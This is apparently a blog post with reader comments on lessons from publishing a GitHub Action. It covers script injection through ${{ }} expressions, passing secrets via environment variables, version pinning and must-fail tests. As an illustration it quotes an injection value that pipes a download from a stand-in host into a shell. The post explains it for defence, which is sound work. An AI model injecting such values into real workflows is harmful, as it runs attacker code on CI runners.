This week I published my first GitHub Action to the Marketplace. It's a small one: a composite action that runs a CLI I maintain, pinned to an exact version, on every push.
Small as it is, it taught me five things I wish I'd known before I started. None of them are specific to my tool, so here they are.
1. A composite action is probably enough
There are three kinds of actions: JavaScript, Docker and composite. I almost reached for JavaScript because that's what most popular actions use. But my action only needed to run one command:
runs:
using: composite
steps:
- shell: bash
run: npx --yes my-cli@0.5.0 --dry-run
A composite action is just a list of steps, like a mini-workflow. No build step, no dist/ folder to commit, no container to pull. The cost is that it relies on what the runner already has. Mine needs Node, which GitHub-hosted runners include, so the README says plainly that self-hosted runners need Node installed.
If your action is "run this tool with these flags", start with composite.
2. Never put ${{ inputs.x }} inside run:
This was the one I didn't know, and it's the most important.
${{ }} expressions are expanded before the shell runs. The value gets pasted into your script as text. So if an input contains something like "; curl evil.example | sh; echo ", it becomes part of your script. That's script injection, and GitHub's own security hardening guide for Actions warns about it.
What I almost wrote:
- shell: bash
run: npx --yes my-cli@0.5.0 --dir ${{ inputs.working-directory }}
What I shipped:
- shell: bash
env:
INPUT_DIR: ${{ inputs.working-directory }}
run: npx --yes my-cli@0.5.0 --dir "$INPUT_DIR"
The expression now only sets an environment variable. Bash reads the variable as data, and the quotes keep it as a single argument. Every input in my action goes through env: and is quoted, and there is no ${{ }} anywhere inside a run: block.
3. Secrets go in env:, not on the command line
My CLI takes an API token. The obvious way is --token "$TOKEN". The problem: command-line arguments are visible to anything on the machine that can list processes, and they show up in logs the moment someone turns on set -x or debug logging. GitHub masks registered secrets in logs, but I'd rather not depend on masking.
So the CLI reads the token from an environment variable when --token isn't given, and the action only ever passes it that way:
- shell: bash
env:
MY_CLI_TOKEN: ${{ inputs.token }}
run: npx --yes my-cli@0.5.0
Funny thing: a few days after shipping the action, a security pass found that the copy-paste workflow snippet on my own app's settings page still passed --token on the command line. Fixed the same day.
4. Pin two different things, two different ways
There are two versions in play, and they behave differently.
The tool inside the action. I pin the npm package to an exact version (my-cli@0.5.0), because a published npm version can't change. Whatever a user's workflow runs today, it runs tomorrow.
The action itself. Users write uses: owner/my-action@v1. But v1 is just a git tag, and tags can be moved. That's the whole point of a major-version tag: I move v1 forward when I release v1.0.1. It's convenient, and it also means users are trusting me not to move it somewhere bad. So the README says: if you want a guarantee, pin the full commit SHA instead:
- uses: owner/my-action@<full 40-character commit sha> # v1.0.0
Creating the moving tag after the first release is two commands:
git tag v1 v1.0.0
git push origin v1
When v1.0.1 ships, you move it with git tag -f v1 v1.0.1 and git push -f origin v1.
5. Test the action in its own repo, including the failure path
The repo has a workflow that runs the action on every push against a tiny fixture: one JS file that reads an env var, and a .env.example that doesn't declare it. The action runs in dry-run mode, so it needs no secret.
The part I'm happiest with is testing the failure. Without a token and without dry-run, the action must fail with a clear message. A step that must fail looks like this:
- name: Run without a token (must fail)
id: no_token
continue-on-error: true
uses: ./
with:
working-directory: test/fixture
- name: Check that it failed
if: steps.no_token.outcome != 'failure'
run: |
echo "The action should fail without a token"
exit 1
continue-on-error lets the workflow keep going, and outcome still records what really happened. If someone later "fixes" the action so it silently succeeds without a token, this goes red.
Bonus: Marketplace gotchas
- The name must be unique. Not just among actions: it can't match a Marketplace category, or a GitHub user or organization you don't own. Search the Marketplace first.
- Fill in the release title. I left it empty, and my first release showed up as "v1.0.0: Merge pull request #1 from …".
-
Don't write
@v1in release notes. GitHub turned it into an @-mention of a real user calledv1, who then appeared as a contributor to my release. Put it in backticks.
Wrapping up
None of this is hard, but #2 and #3 are easy to get wrong, and they're the kind of mistake that only matters once someone exploits it. If you maintain an action, it's worth a two-minute look at your run: blocks.
The action I built is open source if you want to see all of this in one place: Utsav-mishra-25/deployhealth-action.
Do you pin third-party actions by SHA, or do you trust tags? I'm curious where people draw the line.
Top comments (2)
The five are good, and #2 and #3 are the ones that start to matter once somebody else runs your action. Since you asked where people draw the line on SHA versus tags, I counted instead of guessing.
I sampled the workflow files on the default branch of twelve well-known public repositories (vscode, react, next.js, rust, cpython, node, deno, home-assistant, prometheus, airflow, and golang/go and kubernetes/kubernetes, which turned out to have no GitHub Actions workflows at all). That is 238 workflow files and 1,548
uses:references:actions/*andgithub/*: 1,093 of 1,279 SHA-pinned (85.5%)The line that shows up is the reverse of the usual summary. Almost everybody pins, and where they relax it is mostly on first-party actions, the ones you would expect to be trusted most. Eleven third-party references still sit on
mainormaster, which is the weakest option available: it moves on a schedule you do not control. Two caveats, so the number is not read as more than it is: these are large, security-reviewed repositories, so treat 87% as an upper bound on rigor rather than a market average, and the counts are from the default branches as of today.One addition to #5, which I think is the strongest part. A must-fail test is a gate only if the job that asserts it cannot be skipped. On a protected branch a required status check is satisfied by
successful,skippedorneutral, so a job that never runs still shows green. For an action that takes a token this is not hypothetical: Actions secrets are not available to workflows triggered by Dependabot events, and they are not passed to workflows triggered from a forked repository, so the runs where your token is absent are exactly the runs where a silent skip hides inside a passing check. Your example covers the failure path; a README line on what the action does when the secret is missing covers the rest.I really appreciate the effort to count instead of guessing. This gives me an answer better than I expected before. The part that surprised me is that first-party actions/* are the ones people leave on tags. I’d have guessed the opposite.
Also, good note on skipped checks counting as green. For this action, a missing token fails the run with an error that names the
DEPLOYHEALTH_TOKENsecret. It never skips quietly. The setup I recommend runs it on push to the default branch, where the secret exists. PR checks come from a separate Github App that needs no secret, so forks and Dependabot don't run into this.I need to add to all of this in the README as well, thanks for bringing this up as well.